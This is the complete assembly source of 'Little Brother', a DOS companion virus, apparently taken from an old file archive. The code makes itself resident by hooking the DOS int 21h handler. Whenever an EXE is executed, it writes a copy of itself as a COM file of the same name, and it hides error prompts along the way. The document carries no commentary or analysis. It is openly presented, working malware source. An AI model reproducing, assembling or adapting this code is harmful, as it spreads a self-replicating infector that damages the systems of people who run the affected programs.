home *** CD-ROM | disk | FTP | other *** search
- ;****************************************************************************
- ;* Little Brother Version 1
- ;****************************************************************************
-
- cseg segment
- assume cs:cseg,ds:cseg,es:nothing
-
- org 100h
-
- FILELEN equ end - begin
- RESPAR equ (FILELEN/16) + 17
- VERSION equ 1
- oi21 equ end
- nameptr equ end+4
- DTA equ end+8
-
- .RADIX 16
-
-
- ;****************************************************************************
- ;* Start the program!
- ;****************************************************************************
-
- begin: cld
-
- mov ax,0DEDEh ;already installed?
- int 21h
- cmp ah,041h
- je cancel
-
- mov ax,0044h ;move program to empty hole
- mov es,ax
- mov di,0100h
- mov si,di
- mov cx,FILELEN
- rep movsb
-
- mov ds,cx ;get original int21 vector
- mov si,0084h
- mov di,offset oi21
- movsw
- movsw
-
- push es ;set vector to new handler
- pop ds
- mov dx,offset ni21
- mov ax,2521h
- int 21h
-
- cancel: ret
-
-
- ;****************************************************************************
- ;* File-extensions
- ;****************************************************************************
-
- EXE_txt db 'EXE',0
- COM_txt db 'COM',0
-
-
- ;****************************************************************************
- ;* Interupt handler 24
- ;****************************************************************************
-
- ni24: mov al,03
- iret
-
-
- ;****************************************************************************
- ;* Interupt handler 21
- ;****************************************************************************
-
- ni21: pushf
-
- cmp ax,0DEDEh ;install-check ?
- je do_DEDE
-
- push dx
- push bx
- push ax
- push ds
- push es
-
- cmp ax,4B00h ;execute ?
- jne exit
-
- doit: call infect
-
- exit: pop es
- pop ds
- pop ax
- pop bx
- pop dx
- popf
-
- jmp dword ptr cs:[oi21] ;call to old int-handler
-
- do_DEDE: mov ax,04100h+VERSION ;return a signature
- popf
- iret
-
-
- ;****************************************************************************
- ;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
- ;****************************************************************************
-
- infect: cld
-
- mov word ptr cs:[nameptr],dx ;save the ptr to the filename
- mov word ptr cs:[nameptr+2],ds
-
- push cs ;set new DTA
- pop ds
- mov dx,offset DTA
- mov ah,1Ah
- int 21
-
- call searchpoint
- mov si,offset EXE_txt ;is extension 'EXE'?
- mov cx,3
- rep cmpsb
- jnz do_com
-
- do_exe: mov si,offset COM_txt ;change extension to COM
- call change_ext
-
- mov ax,3300h ;get ctrl-break flag
- int 21
- push dx
-
- xor dl,dl ;clear the flag
- mov ax,3301h
- int 21
-
- mov ax,3524h ;get int24 vector
- int 21
- push bx
- push es
-
- push cs ;set int24 vec to new handler
- pop ds
- mov dx,offset ni24
- mov ax,2524h
- int 21
-
- lds dx,dword ptr [nameptr] ;create the file (unique name)
- xor cx,cx
- mov ah,5Bh
- int 21
- jc return1
- xchg bx,ax ;save handle
-
- push cs
- pop ds
- mov cx,FILELEN ;write the file
- mov dx,offset begin
- mov ah,40h
- int 21
- cmp ax,cx
- pushf
-
- mov ah,3Eh ;close the file
- int 21
-
- popf
- jz return1 ;all bytes written?
-
- lds dx,dword ptr [nameptr] ;delete the file
- mov ah,41h
- int 21
-
- return1: pop ds ;restore int24 vector
- pop dx
- mov ax,2524h
- int 21
-
- pop dx ;restore ctrl-break flag
- mov ax,3301h
- int 21
-
- mov si,offset EXE_txt ;change extension to EXE
- call change_ext
-
- return: ret
-
- do_com: call findfirst ;is the file a virus?
- cmp word ptr cs:[DTA+1Ah],FILELEN
- jne return
- mov si,offset EXE_txt ;does the EXE-variant exist?
- call change_ext
- call findfirst
- jnc return
- mov si,offset COM_txt ;change extension to COM
- jmp short change_ext
-
-
- ;****************************************************************************
- ;* Find the file
- ;****************************************************************************
-
- findfirst: lds dx,dword ptr [nameptr]
- mov cl,27h
- mov ah,4Eh
- int 21
- ret
-
-
- ;****************************************************************************
- ;* change the extension of the filename (CS:SI -> ext)
- ;****************************************************************************
-
- change_ext: call searchpoint
- push cs
- pop ds
- movsw
- movsw
- ret
-
-
- ;****************************************************************************
- ;* search begin of extension
- ;****************************************************************************
-
- searchpoint: les di,dword ptr cs:[nameptr]
- mov ch,0FFh
- mov al,'.'
- repnz scasb
- ret
-
-
- ;****************************************************************************
- ;* Text and Signature
- ;****************************************************************************
-
- db 'Little Brother',0
-
- end:
-
- cseg ends
- end begin
-